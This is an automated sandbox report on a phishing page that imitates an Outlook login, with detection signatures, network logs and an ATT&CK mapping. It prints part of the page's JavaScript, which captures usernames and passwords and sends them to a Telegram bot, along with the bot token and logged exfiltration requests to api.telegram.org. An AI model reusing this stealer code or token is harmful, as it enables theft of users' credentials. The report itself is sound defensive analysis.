Edit tour

Windows Analysis Report
https://parta-doc.surge.sh/connexion.html

Overview

General Information

Sample URL:	https://parta-doc.surge.sh/connexion.html
Analysis ID:	1637085
Infos:

Detection

Score:	72
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Suricata IDS alerts for network traffic

Javascript uses Telegram API

Uses the Telegram API (likely for C&C communication)

Creates files inside the system directory

Deletes files inside the Windows folder

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

Classification

Process Tree

System is w10x64

chrome.exe (PID: 7012 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6688 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2016,i,12465686348663236769,6124461767877095049,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2044 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 1940 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2016,i,12465686348663236769,6124461767877095049,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=4112 /prefetch:8 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 2072 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://parta-doc.surge.sh/connexion.html" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Suricata Signatures

Joe Security ANOMALY Telegram Send Message

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-13T10:48:54.991161+0100	1810007	1	Potentially Bad Traffic	192.168.2.5	49737	149.154.167.220	443	TCP
2025-03-13T10:48:57.654111+0100	1810007	1	Potentially Bad Traffic	192.168.2.5	49740	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://parta-doc.surge.sh/connexion.html

Avira URL Cloud: detection malicious, Label: phishing

Antivirus detection for URL or domain

Source: https://parta-doc.surge.sh/favicon.ico

Avira URL Cloud: Label: phishing

Phishing

Javascript uses Telegram API

Source: https://parta-doc.surge.sh/connexion.html

HTTP Parser: document.getelementbyid('next').addeventlistener('click', function (e) { e.preventdefault(); // si le formulaire est valide (grce l'attribut required du html) if (document.getelementbyid('user').checkvalidity()) { document.getelementbyid('co').style.display = 'block'; document.getelementbyid('pwd').style.display = 'block'; document.getelementbyid('next').style.display = 'none'; } else { // si l'email n'est pas valide, html5 va grer l'affichage du message d'erreur document.getelementbyid('user').reportvalidity(); } }); document.getelementbyid('co').addeventlistener('click', function (e) { e.preventdefault(); const bottoken = '7790808498:aagzrnuuqzryr2oiyz6gokrqivuop12ie1q'; const chatid = '7332838769'; // rcupration des valeurs d'utilisateur et de mot de passe const user = do...

Source: https://parta-doc.surge.sh/connexion.html

HTTP Parser: Number of links: 0

Source: https://parta-doc.surge.sh/connexion.html

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://parta-doc.surge.sh/connexion.html

HTTP Parser: Title: Connexion does not match URL

Source: https://parta-doc.surge.sh/connexion.html

HTTP Parser: <input type="password" .../> found

Source: https://parta-doc.surge.sh/connexion.html

HTTP Parser: No favicon

Source: https://parta-doc.surge.sh/connexion.html

HTTP Parser: No <meta name="author".. found

Source: https://parta-doc.surge.sh/connexion.html

HTTP Parser: No <meta name="copyright".. found

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.5:49740 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.5:49737 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org

Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.18
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.18
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.18
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.18
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.18
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.18
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.18
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.18
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.18
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.18
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.122.30
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.18.99
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.18
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.18
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.18.99
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /connexion.html HTTP/1.1Host: parta-doc.surge.shConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQEI9s/OAQiA1s4BCK/ezgEI0uDOAQiv5M4BCOLkzgEIi+XOAQ==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: parta-doc.surge.shConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://parta-doc.surge.sh/connexion.htmlAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bot7790808498:AAGzrnUuQzRYR2OIyz6GoKrqiVuOP12IE1Q/sendMessage?chat_id=7332838769&text=%F0%9F%93%85%20Outlook%20%3A%0A%0A%F0%9F%91%A4%20Utilisateur%20%3A%20mjn1bs%40bedyif.org%0A%F0%9F%94%90%20Mot%20de%20passe%20%3A%20daE%2C8%2BTqzP HTTP/1.1Host: api.telegram.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://parta-doc.surge.shSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://parta-doc.surge.sh/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bot7790808498:AAGzrnUuQzRYR2OIyz6GoKrqiVuOP12IE1Q/sendMessage?chat_id=7332838769&text=%F0%9F%93%85%20Outlook%20%3A%0A%0A%F0%9F%91%A4%20Utilisateur%20%3A%20mjn1bs%40bedyif.org%0A%F0%9F%94%90%20Mot%20de%20passe%20%3A%20daE%2C8%2BTqzP HTTP/1.1Host: api.telegram.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/jQuery/jquery-1.9.1.min.js HTTP/1.1Host: ajax.aspnetcdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://www.microsoft.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdnfiles/external/mwf/long/v1/v1.25.0/css/mwf-west-european-default.min.css HTTP/1.1Host: assets.onestore.msConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://www.microsoft.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /en-us/CMSScripts/script.jsx?k=f65ecb70-094d-0b11-7c9d-7da1bcadfaa7 HTTP/1.1Host: c.s-microsoft.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://www.microsoft.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdnfiles/external/mwf/long/v1/v1.25.0/fonts/MWFMDL2.ttf HTTP/1.1Host: assets.onestore.msConnection: keep-aliveOrigin: https://www.microsoft.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://assets.onestore.ms/cdnfiles/external/mwf/long/v1/v1.25.0/css/mwf-west-european-default.min.cssAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: parta-doc.surge.sh
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: assets.onestore.ms
Source: global traffic	DNS traffic detected: DNS query: ajax.aspnetcdn.com
Source: global traffic	DNS traffic detected: DNS query: c.s-microsoft.com
Source: global traffic	DNS traffic detected: DNS query: beacons.gcp.gvt2.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: SurgeSurge-Cache: HITSurge-Stamp: 12805::1741458483454Content-Type: text/html; charset=utf-8Content-Length: 8247ETag: W/"2037-Bpq88syl4OLNTwUiR08il4/lN+0"Date: Thu, 13 Mar 2025 09:48:30 GMTConnection: close

Source: chromecache_106.2.dr	String found in binary or memory: http://github.com/requirejs/almond/LICENSE
Source: chromecache_109.2.dr	String found in binary or memory: http://schema.org/Organization
Source: chromecache_100.2.dr	String found in binary or memory: https://aadcdn.msauth.net/shared/1.0/content/images/applogos/53_7a3c80bf9694448bac31a9589d2e9e92.png
Source: chromecache_100.2.dr	String found in binary or memory: https://aadcdn.msauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.
Source: chromecache_100.2.dr	String found in binary or memory: https://aadcdn.msauth.net/shared/1.0/content/images/microsoft_logo_ea19b2112f4dfd8e90b4505ef7dcb4f9.
Source: chromecache_109.2.dr	String found in binary or memory: https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.9.1.min.js
Source: chromecache_100.2.dr	String found in binary or memory: https://api.telegram.org/bot$
Source: chromecache_109.2.dr	String found in binary or memory: https://assets.onestore.ms/cdnfiles/external/mwf/long/v1/v1.25.0/css/mwf-west-european-default.min.c
Source: chromecache_109.2.dr	String found in binary or memory: https://az725175.vo.msecnd.net/scripts/jsll-4.js
Source: chromecache_108.2.dr	String found in binary or memory: https://code.cdn.mozilla.net/fonts/fira.css
Source: chromecache_109.2.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE1Mu3b?ver=5c31
Source: chromecache_109.2.dr	String found in binary or memory: https://onedrive.live.com/about/en-us/
Source: chromecache_109.2.dr	String found in binary or memory: https://outlook.live.com/owa/
Source: chromecache_109.2.dr	String found in binary or memory: https://products.office.com/en-us/home
Source: chromecache_109.2.dr	String found in binary or memory: https://products.office.com/en-us/microsoft-teams/free?icid=SSM_AS_Promo_Apps_MicrosoftTeams
Source: chromecache_109.2.dr	String found in binary or memory: https://statics-marketingsites-wcus-ms-com.akamaized.net/statics/override.css?c=7
Source: chromecache_109.2.dr	String found in binary or memory: https://www.onenote.com/
Source: chromecache_109.2.dr	String found in binary or memory: https://www.skype.com/en/
Source: chromecache_109.2.dr	String found in binary or memory: https://www.xbox.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir7012_1096482879

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir7012_1096482879

Jump to behavior

Source: classification engine

Classification label: mal72.phis.troj.win@24/35@23/9

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2016,i,12465686348663236769,6124461767877095049,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2044 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2016,i,12465686348663236769,6124461767877095049,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=4112 /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://parta-doc.surge.sh/connexion.html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2016,i,12465686348663236769,6124461767877095049,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2044 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2016,i,12465686348663236769,6124461767877095049,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=4112 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	3 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://parta-doc.surge.sh/connexion.html	100%	Avira URL Cloud	phishing

Source	Detection	Scanner	Label	Link
https://parta-doc.surge.sh/favicon.ico	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
stor9a.msedge.net	104.212.67.159	true	false	unknown
e10583.dspg.akamaiedge.net	23.192.243.7	true	false	high
s-part-0044.t-0009.fb-t-msedge.net	13.107.253.72	true	false	high
beacons-handoff.gcp.gvt2.com	142.250.184.195	true	false	high
www.google.com	142.250.185.100	true	false	high
e13678.dscg.akamaiedge.net	2.19.106.98	true	false	high
parta-doc.surge.sh	138.197.235.123	true	false	unknown
api.telegram.org	149.154.167.220	true	false	high
sni1gl.wpc.zetacdn.net	152.199.21.175	true	false	high
a46.dscr.akamai.net	2.16.202.84	true	false	high
c.s-microsoft.com	unknown	unknown	false	high
beacons.gcp.gvt2.com	unknown	unknown	false	high
assets.onestore.ms	unknown	unknown	false	high
ajax.aspnetcdn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://assets.onestore.ms/cdnfiles/external/mwf/long/v1/v1.25.0/fonts/MWFMDL2.ttf	false		high
https://parta-doc.surge.sh/favicon.ico	false	Avira URL Cloud: phishing	unknown
https://parta-doc.surge.sh/connexion.html	true		unknown
https://api.telegram.org/bot7790808498:AAGzrnUuQzRYR2OIyz6GoKrqiVuOP12IE1Q/sendMessage?chat_id=7332838769&text=%F0%9F%93%85%20Outlook%20%3A%0A%0A%F0%9F%91%A4%20Utilisateur%20%3A%20mjn1bs%40bedyif.org%0A%F0%9F%94%90%20Mot%20de%20passe%20%3A%20daE%2C8%2BTqzP	false		high
https://assets.onestore.ms/cdnfiles/external/mwf/long/v1/v1.25.0/css/mwf-west-european-default.min.css	false		high
https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.9.1.min.js	false		high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://onedrive.live.com/about/en-us/	chromecache_109.2.dr	false	high
https://outlook.live.com/owa/	chromecache_109.2.dr	false	high
https://products.office.com/en-us/microsoft-teams/free?icid=SSM_AS_Promo_Apps_MicrosoftTeams	chromecache_109.2.dr	false	high
https://www.onenote.com/	chromecache_109.2.dr	false	high
https://code.cdn.mozilla.net/fonts/fira.css	chromecache_108.2.dr	false	high
https://www.skype.com/en/	chromecache_109.2.dr	false	high
https://products.office.com/en-us/home	chromecache_109.2.dr	false	high
https://assets.onestore.ms/cdnfiles/external/mwf/long/v1/v1.25.0/css/mwf-west-european-default.min.c	chromecache_109.2.dr	false	high
https://api.telegram.org/bot$	chromecache_100.2.dr	false	high
https://www.xbox.com/	chromecache_109.2.dr	false	high
http://schema.org/Organization	chromecache_109.2.dr	false	high
http://github.com/requirejs/almond/LICENSE	chromecache_106.2.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
2.16.202.84	a46.dscr.akamai.net	European Union	16625	AKAMAI-ASUS	false
142.250.185.100	www.google.com	United States	15169	GOOGLEUS	false
138.197.235.123	parta-doc.surge.sh	United States	14061	DIGITALOCEAN-ASNUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
2.19.106.98	e13678.dscg.akamaiedge.net	European Union	16625	AKAMAI-ASUS	false
23.192.243.7	e10583.dspg.akamaiedge.net	United States	16625	AKAMAI-ASUS	false
152.199.21.175	sni1gl.wpc.zetacdn.net	United States	15133	EDGECASTUS	false

Private

IP
192.168.2.9
192.168.2.5

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1637085
Start date and time:	2025-03-13 10:47:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://parta-doc.surge.sh/connexion.html
